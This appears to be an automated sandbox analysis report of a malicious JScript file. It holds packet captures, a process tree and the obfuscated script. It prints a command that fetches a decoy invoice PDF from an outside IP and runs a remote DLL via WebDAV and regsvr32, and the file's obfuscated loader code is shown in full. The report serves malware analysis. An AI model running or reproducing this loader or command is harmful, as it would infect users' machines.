Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 05:09:17.704196930 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 05:09:18.486921072 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 04:09:18 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 05:09:18.486946106 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 05:09:18.486957073 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 11, 2025 05:09:18.486968994 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 11, 2025 05:09:18.487018108 CET	1236	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 11, 2025 05:09:18.487030983 CET	672	IN	Data Raw: b5 ad f8 d4 ad f1 fa 27 f9 4d b7 ff 84 00 40 a5 55 6e 65 f8 9c 7c 32 31 34 3c 30 54 c7 d0 eb 26 86 5e a6 18 7a 3a 8c a1 ef 5d 0c 7d de c7 d0 67 5d 09 0d 62 e8 eb 26 86 ee a5 18 ba 3f 8f a1 e7 26 86 de 3e dd df 35 31 f4 c1 c5 50 8e 0d dd ae a9 6f Data Ascii: 'M@Une\|214<0T&^z:]}g]b&?&>51PoN%,.[nmk-_BW?]\r}B`Qa8zs&711bC%21gm\|c#1t*SKvk>~}h]
Jan 11, 2025 05:09:18.487042904 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 11, 2025 05:09:18.487055063 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 11, 2025 05:09:18.487107038 CET	1236	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 11, 2025 05:09:18.487119913 CET	672	IN	Data Raw: 86 d6 94 d0 d1 93 25 6b ce b8 cc f5 50 2f ec 14 66 23 a8 29 a1 29 fd 48 06 4d 0d f4 d9 b3 67 bf ff fe fb 6f ad 5f 23 b3 bf ff 7b 6b f6 2b 4d 12 95 11 d1 b0 c5 98 24 aa 4f f7 f3 4f 97 89 7a 7a 73 ef ab 48 98 a8 fc 61 a6 e1 e6 5e ad 1c a7 72 ed 2c Data Ascii: %kP/f#))HMgo_#{k+M$OOzzsHa^r,Y,,WUB5{i_}zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$
Jan 11, 2025 05:09:18.491914988 CET	940	IN	Data Raw: 67 85 4b f2 95 36 b7 c8 74 d1 29 42 53 42 25 9c f9 a5 c7 9a ce b5 e1 d3 e5 7b 68 61 7a 4e 27 d1 9a c5 aa f5 25 ab e6 07 06 cc 88 e8 e8 14 ad 2e a1 f2 06 93 27 4a 8f 45 ff a2 e8 b1 68 49 a2 e9 95 ad 7c b3 5d 0d 85 6f 36 df b5 c3 37 5b ee 05 35 d7 Data Ascii: gK6t)BSB%{hazN'%.'JEhI\|]o67[5tEMN@h6wthe8vJXAuzV{<z8gqc0X-07~$3G{hI0 ?ASw$Ut#*G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	193.143.1.205	8888	3152	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 05:09:19.707452059 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 05:09:20.496778965 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 04:09:20 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	23:09:14
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1223923852588014617.js"
Imagebase:	0x7ff6d2b90000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	23:09:14
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20576287220625.dll
Imagebase:	0x7ff7e6890000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	23:09:14
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	23:09:15
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	23:09:18
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	23:09:18
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7e6890000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	23:09:18
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6d0960000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	23:09:19
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	23:09:19
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x340000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	23:09:19
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1364,i,2065389841827715182,14235392778676737554,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function tujtpzcn() {	tujtpzcn() ➔ undefined
1	lcbsseu = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var qphgp = this[zbcwe + yneyizdm + rccsauxzq + lunxf + aluir + dxedghk + yoekvpjmk + dnmnozks] ( this[egfsn + djmmftw + ugdyz + rccsauxzq + aezsc + zbcwe + dnmnozks][mcsvzrgsu + rccsauxzq + aluir + yneyizdm + dnmnozks + aluir + wdluhu + oyhgjkkb + ikplburfr + aluir + ugdyz + dnmnozks] ( egfsn + djmmftw + ugdyz + rccsauxzq + aezsc + zbcwe + dnmnozks + suooyrvpu + djmmftw + hfscwvjuf + aluir + bizaxit + bizaxit ) [duzehk + aluir + mlebncubo + duzehk + aluir + yneyizdm + mlhyrd] ( mxcewqq + nryqcswsh + xumogo + kkvwgx + imzsb + mcsvzrgsu + ttdabtegd + duzehk + duzehk + xumogo + dudkbz + gipga + imzsb + ttdabtegd + djmmftw + xumogo + duzehk + bkaiiqyc + mcsvzrgsu + vfjsotrv + yoekvpjmk + dnmnozks + rccsauxzq + vfjsotrv + bizaxit + ueclln + stzhle + yneyizdm + yoekvpjmk + aluir + bizaxit + bkaiiqyc + dxedghk + yoekvpjmk + dnmnozks + aluir + rccsauxzq + yoekvpjmk + yneyizdm + dnmnozks + aezsc + vfjsotrv + yoekvpjmk + yneyizdm + bizaxit + bkaiiqyc + cjngdqpe + vfjsotrv + ugdyz + yneyizdm + bizaxit + aluir ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( ldmgwhn = 0 ; ldmgwhn < lcbsseu[bizaxit + aluir + yoekvpjmk + mlebncubo + dnmnozks + hfscwvjuf] ; ++ ldmgwhn )
4	{
5	if ( qphgp == lcbsseu[ldmgwhn] )
6	{
7	qphgp = true;
8	break ;
9	}
10	}
11	if ( qphgp !== true )
12	this[egfsn + djmmftw + ugdyz + rccsauxzq + aezsc + zbcwe + dnmnozks][fudkn + ntrevry + aezsc + dnmnozks] ( );
13	this[egfsn + djmmftw + ugdyz + rccsauxzq + aezsc + zbcwe + dnmnozks][mcsvzrgsu + rccsauxzq + aluir + yneyizdm + dnmnozks + aluir + wdluhu + oyhgjkkb + ikplburfr + aluir + ugdyz + dnmnozks] ( egfsn + djmmftw + ugdyz + rccsauxzq + aezsc + zbcwe + dnmnozks + suooyrvpu + djmmftw + hfscwvjuf + aluir + bizaxit + bizaxit ) [rccsauxzq + ntrevry + yoekvpjmk] ( ugdyz + rzfzrom + mlhyrd + ueclln + kntqx + ugdyz + ueclln + zbcwe + vfjsotrv + yahrbdng + aluir + rccsauxzq + lunxf + hfscwvjuf + aluir + bizaxit + bizaxit + suooyrvpu + aluir + hqtqhen + aluir + ueclln + svixhkvt + mcsvzrgsu + vfjsotrv + rzfzrom + rzfzrom + yneyizdm + yoekvpjmk + mlhyrd + ueclln + tvamd + dxedghk + yoekvpjmk + kzmlr + vfjsotrv + yyzbwglbw + aluir + svixhkvt + egfsn + aluir + oyhgjkkb + duzehk + aluir + eevis + ntrevry + aluir + lunxf + dnmnozks + ueclln + svixhkvt + wdluhu + ntrevry + dnmnozks + wdetfq + aezsc + bizaxit + aluir + ueclln + siqmkrq + dnmnozks + aluir + rzfzrom + zbcwe + siqmkrq + bkaiiqyc + aezsc + yoekvpjmk + kzmlr + vfjsotrv + aezsc + ugdyz + aluir + suooyrvpu + zbcwe + mlhyrd + egnoyx + ueclln + hfscwvjuf + dnmnozks + dnmnozks + zbcwe + igenst + kntqx + kntqx + frmbj + cckscrng + sgypx + suooyrvpu + frmbj + oqowyoop + sgypx + suooyrvpu + frmbj + suooyrvpu + bzqndhvy + mjxsfr + bxucbjusg + kntqx + aezsc + yoekvpjmk + kzmlr + vfjsotrv + aezsc + ugdyz + aluir + suooyrvpu + zbcwe + hfscwvjuf + zbcwe + tvamd + wookq + wookq + lunxf + dnmnozks + yneyizdm + rccsauxzq + dnmnozks + ueclln + siqmkrq + dnmnozks + aluir + rzfzrom + zbcwe + siqmkrq + bkaiiqyc + aezsc + yoekvpjmk + kzmlr + vfjsotrv + aezsc + ugdyz + aluir + suooyrvpu + zbcwe + mlhyrd + egnoyx + wookq + wookq + ugdyz + rzfzrom + mlhyrd + ueclln + kntqx + ugdyz + ueclln + yoekvpjmk + aluir + dnmnozks + ueclln + ntrevry + lunxf + aluir + ueclln + bkaiiqyc + bkaiiqyc + frmbj + cckscrng + sgypx + suooyrvpu + frmbj + oqowyoop + sgypx + suooyrvpu + frmbj + suooyrvpu + bzqndhvy + mjxsfr + bxucbjusg + ucjrgdir + dliyw + dliyw + dliyw + dliyw + bkaiiqyc + mlhyrd + yneyizdm + kzmlr + yahrbdng + yahrbdng + yahrbdng + rccsauxzq + vfjsotrv + vfjsotrv + dnmnozks + bkaiiqyc + wookq + wookq + ugdyz + rzfzrom + mlhyrd + ueclln + kntqx + ugdyz + ueclln + rccsauxzq + aluir + mlebncubo + lunxf + kzmlr + rccsauxzq + sgypx + bzqndhvy + ueclln + kntqx + lunxf + ueclln + bkaiiqyc + bkaiiqyc + frmbj + cckscrng + sgypx + suooyrvpu + frmbj + oqowyoop + sgypx + suooyrvpu + frmbj + suooyrvpu + bzqndhvy + mjxsfr + bxucbjusg + ucjrgdir + dliyw + dliyw + dliyw + dliyw + bkaiiqyc + mlhyrd + yneyizdm + kzmlr + yahrbdng + yahrbdng + yahrbdng + rccsauxzq + vfjsotrv + vfjsotrv + dnmnozks + bkaiiqyc + bzqndhvy + mjxsfr + bxucbjusg + vavcskh + tmiabnbqm + bzqndhvy + dliyw + vavcskh + bzqndhvy + bzqndhvy + mjxsfr + tmiabnbqm + bzqndhvy + bxucbjusg + suooyrvpu + mlhyrd + bizaxit + bizaxit, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20576287220625.dll",0,false) ➔ 0
14	}
15	egfsn = "A";
16	egfsn = "L";
17	egfsn = "M";
18	egfsn = "v";
19	egfsn = "n";
20	egfsn = "R";
21	egfsn = "V";
22	egfsn = "L";
23	egfsn = "R";
24	egfsn = "B";
25	egfsn = "T";
26	egfsn = "M";
27	egfsn = "Y";
28	egfsn = "e";
29	egfsn = "r";
30	egfsn = "Y";
31	egfsn = "J";
32	egfsn = "W";
33	yahrbdng = "l";
34	yahrbdng = "V";
35	yahrbdng = "l";
36	yahrbdng = "k";
37	yahrbdng = "T";
38	yahrbdng = "B";
39	yahrbdng = "c";
40	yahrbdng = "E";
41	yahrbdng = "D";
42	yahrbdng = "X";
43	yahrbdng = "G";
44	yahrbdng = "U";
45	yahrbdng = "S";
46	yahrbdng = "K";
47	yahrbdng = "K";
48	yahrbdng = "j";
49	yahrbdng = "O";
50	yahrbdng = "i";
51	yahrbdng = "v";
52	yahrbdng = "Z";
53	yahrbdng = "j";
54	yahrbdng = "w";
55	hqtqhen = "P";
56	hqtqhen = "j";
57	hqtqhen = "c";
58	hqtqhen = "U";
59	hqtqhen = "a";
60	hqtqhen = "x";
61	hqtqhen = "G";
62	hqtqhen = "U";
63	hqtqhen = "y";
64	hqtqhen = "U";
65	hqtqhen = "F";
66	hqtqhen = "Z";
67	hqtqhen = "T";
68	hqtqhen = "b";
69	hqtqhen = "z";
70	hqtqhen = "i";
71	hqtqhen = "F";
72	hqtqhen = "B";
73	hqtqhen = "P";
74	hqtqhen = "S";
75	hqtqhen = "h";
76	hqtqhen = "u";
77	hqtqhen = "W";
78	hqtqhen = "V";
79	hqtqhen = "g";
80	hqtqhen = "M";
81	hqtqhen = "T";
82	hqtqhen = "O";
83	hqtqhen = "S";
84	hqtqhen = "I";
85	hqtqhen = "R";
86	hqtqhen = "Z";
87	hqtqhen = "f";
88	hqtqhen = "M";
89	hqtqhen = "o";
90	hqtqhen = "I";
91	hqtqhen = "e";
92	hqtqhen = "x";
93	hqtqhen = "g";
94	hqtqhen = "a";
95	hqtqhen = "a";
96	hqtqhen = "b";
97	hqtqhen = "X";
98	hqtqhen = "X";
99	hqtqhen = "x";
100	vavcskh = "K";
101	vavcskh = "G";
102	vavcskh = "f";
103	vavcskh = "o";
104	vavcskh = "h";
105	vavcskh = "l";
106	vavcskh = "p";
107	vavcskh = "e";
108	vavcskh = "W";
109	vavcskh = "M";
110	vavcskh = "Y";
111	vavcskh = "j";
112	vavcskh = "V";
113	vavcskh = "K";
114	vavcskh = "7";
115	wookq = "S";
116	wookq = "t";
117	wookq = "V";
118	wookq = "S";
119	wookq = "B";
120	wookq = "n";
121	wookq = "T";
122	wookq = "E";
123	wookq = "B";
124	wookq = "r";
125	wookq = "T";
126	wookq = "x";
127	wookq = "v";
128	wookq = "y";
129	wookq = "&";
130	rzfzrom = "G";
131	rzfzrom = "A";
132	rzfzrom = "f";
133	rzfzrom = "v";
134	rzfzrom = "o";
135	rzfzrom = "w";
136	rzfzrom = "S";
137	rzfzrom = "B";
138	rzfzrom = "r";
139	rzfzrom = "v";
140	rzfzrom = "m";
141	rzfzrom = "B";
142	rzfzrom = "E";
143	rzfzrom = "k";
144	rzfzrom = "A";
145	rzfzrom = "p";
146	rzfzrom = "B";
147	rzfzrom = "u";
148	rzfzrom = "T";
149	rzfzrom = "I";
150	rzfzrom = "Y";
151	rzfzrom = "F";
152	rzfzrom = "G";
153	rzfzrom = "t";
154	rzfzrom = "n";
155	rzfzrom = "z";
156	rzfzrom = "I";
157	rzfzrom = "f";
158	rzfzrom = "E";
159	rzfzrom = "I";
160	rzfzrom = "g";
161	rzfzrom = "o";
162	rzfzrom = "k";
163	rzfzrom = "x";
164	rzfzrom = "s";
165	rzfzrom = "m";
166	gipga = "N";
167	gipga = "H";
168	gipga = "S";
169	gipga = "u";
170	gipga = "m";
171	gipga = "k";
172	gipga = "V";
173	gipga = "f";
174	gipga = "u";
175	gipga = "U";
176	gipga = "C";
177	gipga = "j";
178	gipga = "s";
179	gipga = "z";
180	gipga = "u";
181	gipga = "O";
182	gipga = "I";
183	gipga = "S";
184	gipga = "X";
185	gipga = "U";
186	gipga = "A";
187	gipga = "g";
188	gipga = "F";
189	gipga = "r";
190	gipga = "V";
191	gipga = "T";
192	gipga = "T";
193	kzmlr = "d";
194	kzmlr = "q";
195	kzmlr = "s";
196	kzmlr = "s";
197	kzmlr = "O";
198	kzmlr = "j";
199	kzmlr = "h";
200	kzmlr = "v";
201	ntrevry = "f";
202	ntrevry = "g";
203	ntrevry = "Z";
204	ntrevry = "b";
205	ntrevry = "A";
206	ntrevry = "E";
207	ntrevry = "v";
208	ntrevry = "Q";
209	ntrevry = "F";
210	ntrevry = "X";
211	ntrevry = "b";
212	ntrevry = "C";
213	ntrevry = "c";
214	ntrevry = "s";
215	ntrevry = "g";
216	ntrevry = "f";
217	ntrevry = "x";
218	ntrevry = "y";
219	ntrevry = "X";
220	ntrevry = "e";
221	ntrevry = "p";
222	ntrevry = "H";
223	ntrevry = "G";
224	ntrevry = "C";
225	ntrevry = "g";
226	ntrevry = "p";
227	ntrevry = "Q";
228	ntrevry = "F";
229	ntrevry = "a";
230	ntrevry = "u";
231	ikplburfr = "U";
232	ikplburfr = "M";
233	ikplburfr = "M";
234	ikplburfr = "j";
235	ikplburfr = "w";
236	ikplburfr = "u";
237	ikplburfr = "a";
238	ikplburfr = "L";
239	ikplburfr = "r";
240	ikplburfr = "h";
241	ikplburfr = "R";
242	ikplburfr = "f";
243	ikplburfr = "g";
244	ikplburfr = "k";
245	ikplburfr = "H";
246	ikplburfr = "l";
247	ikplburfr = "Y";
248	ikplburfr = "e";
249	ikplburfr = "e";
250	ikplburfr = "w";
251	ikplburfr = "J";
252	ikplburfr = "e";
253	ikplburfr = "j";
254	ikplburfr = "b";
255	ikplburfr = "o";
256	ikplburfr = "T";
257	ikplburfr = "K";
258	ikplburfr = "E";
259	ikplburfr = "v";
260	ikplburfr = "z";
261	ikplburfr = "E";
262	ikplburfr = "o";
263	ikplburfr = "h";
264	ikplburfr = "j";
265	aezsc = "b";
266	aezsc = "E";
267	aezsc = "z";
268	aezsc = "e";
269	aezsc = "D";
270	aezsc = "U";
271	aezsc = "K";
272	aezsc = "X";
273	aezsc = "Z";
274	aezsc = "I";
275	aezsc = "S";
276	aezsc = "Q";
277	aezsc = "C";
278	aezsc = "q";
279	aezsc = "D";
280	aezsc = "E";
281	aezsc = "U";
282	aezsc = "g";
283	aezsc = "Q";
284	aezsc = "b";
285	aezsc = "j";
286	aezsc = "p";
287	aezsc = "c";
288	aezsc = "R";
289	aezsc = "U";
290	aezsc = "S";
291	aezsc = "w";
292	aezsc = "C";
293	aezsc = "U";
294	aezsc = "w";
295	aezsc = "L";
296	aezsc = "v";
297	aezsc = "i";
298	aezsc = "K";
299	aezsc = "i";
300	vfjsotrv = "a";
301	vfjsotrv = "c";
302	vfjsotrv = "i";
303	vfjsotrv = "T";
304	vfjsotrv = "C";
305	vfjsotrv = "a";
306	vfjsotrv = "A";
307	vfjsotrv = "S";
308	vfjsotrv = "q";
309	vfjsotrv = "r";
310	vfjsotrv = "H";
311	vfjsotrv = "m";
312	vfjsotrv = "U";
313	vfjsotrv = "z";
314	vfjsotrv = "K";
315	vfjsotrv = "D";
316	vfjsotrv = "o";
